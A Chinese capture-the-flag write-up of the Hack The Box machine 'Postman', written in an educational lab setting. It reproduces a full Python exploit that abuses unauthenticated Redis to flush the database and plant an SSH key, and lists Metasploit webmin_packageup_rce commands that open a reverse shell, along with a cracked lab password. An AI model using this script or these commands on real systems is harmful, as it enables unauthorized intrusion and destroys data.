前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【HTB】Postman

【HTB】Postman

作者头像
yichen
发布2020-03-19 15:22:08
6930
发布2020-03-19 15:22:08
举报

nmap 扫描一波端口:

nmap -A -Pn -T4 10.10.10.160

-Pn 将所有主机视作开启,跳过主机发现的过程

-A OS识别,版本探测,脚本扫描和traceroute

-T (0-5)时间优化

去看一下,80 端口没什么东西, 10000,用 https 访问,有个登录界面,弱口令没得

扫描发现 6379 是开着的,(实在是太慢了,我就按照 wp 直接指定去扫了)

redis 未授权访问

redis 未授权访问核心利用点是:通过没有身份校验的 redis 服务进行登陆,同时指定 config dir 和 config dbfilename 的路径与名称,达到把本地公钥存储到远程服务器上,这时候在通过 ssh 进行远程登陆。可以获得名为 redis 的 shell

apt install redis-server 安装 redis 客户端

然后 pip install termcolor 安装需要的库

使用:https://github.com/Avinash-acid/Redis-Server-Exploit

代码语言:javascript
复制
代码语言:javascript
复制
#!/usr/bin/python
#Author : Avinash Kumar Thapa aka -Acid
#Twitter : https://twitter.com/m_avinash143
#####################################################################################################################################################
import os
import os.path
from sys import argv
from termcolor import colored
script, ip_address, username = argv
PATH='/usr/bin/redis-cli'
PATH1='/usr/local/bin/redis-cli'
def ssh_connection():
    shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address
    os.system(shell)
if os.path.isfile(PATH) or os.path.isfile(PATH1):
    try:
            print colored('\t*******************************************************************', "green")
            print colored('\t* [+] [Exploit] Exploiting misconfigured REDIS SERVER*' ,"green")
            print colored('\t* [+] AVINASH KUMAR THAPA aka "-Acid"                                ', "green")
        print colored('\t*******************************************************************', "green")
        print "\n"
        print colored("\t SSH Keys Need to be Generated", 'blue')
        os.system('ssh-keygen -t rsa -C \"acid_creative\"')
        print colored("\t Keys Generated Successfully", "blue")
        os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo  \'\r\n\') > $HOME/.ssh/public_key.txt")
        cmd = "redis-cli -h " + ip_address + ' flushall'
        cmd1 = "redis-cli -h " + ip_address
        os.system(cmd)
        cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " +  ip_address + ' -x set cracklist'
        os.system(cmd2)
        cmd3 = cmd1 + ' config set dbfilename "backup.db" '
        cmd4 = cmd1 + ' config set  dir' + " /usr/lib/"+username+"/.ssh/"
        cmd5 = cmd1 + ' config set dbfilename "authorized_keys" '
        cmd6 = cmd1 + ' save'
        os.system(cmd3)
        os.system(cmd4)
        os.system(cmd5)
        os.system(cmd6)
        print colored("\tYou'll get shell in sometime..Thanks for your patience", "green")
        ssh_connection()
    except:
        print "Something went wrong"
else:
    print colored("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.", "red")

python redis.py 10.10.10.160 redis

再 opt 目录下找到 id_rsa.bak

保存出来,用 john 爆破一下

su Matt 切换一下账户,用爆破出来的密码来登录,目录下有 user.txt

同时,这个用户名和密码可以登录之前那个 10000 端口的 webmin 可以登录成功

可以用 msf 来攻击

msfconsole,打开 msf

使用:

代码语言:javascript
复制
use exploit/linux/http/webmin_packageup_rce   //选择 payload
set rhosts 10.10.10.160     //设置攻击目标
set ssl true     //使用 https 
set username Matt    // 设置 username
set password computer2008     //设置 password
set lhost 10.10.14.18     //设置反弹 shell 的地址(本机 IP)
exploit    //执行攻击

在 /root/root.txt 中存在 root 级别的 flag

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档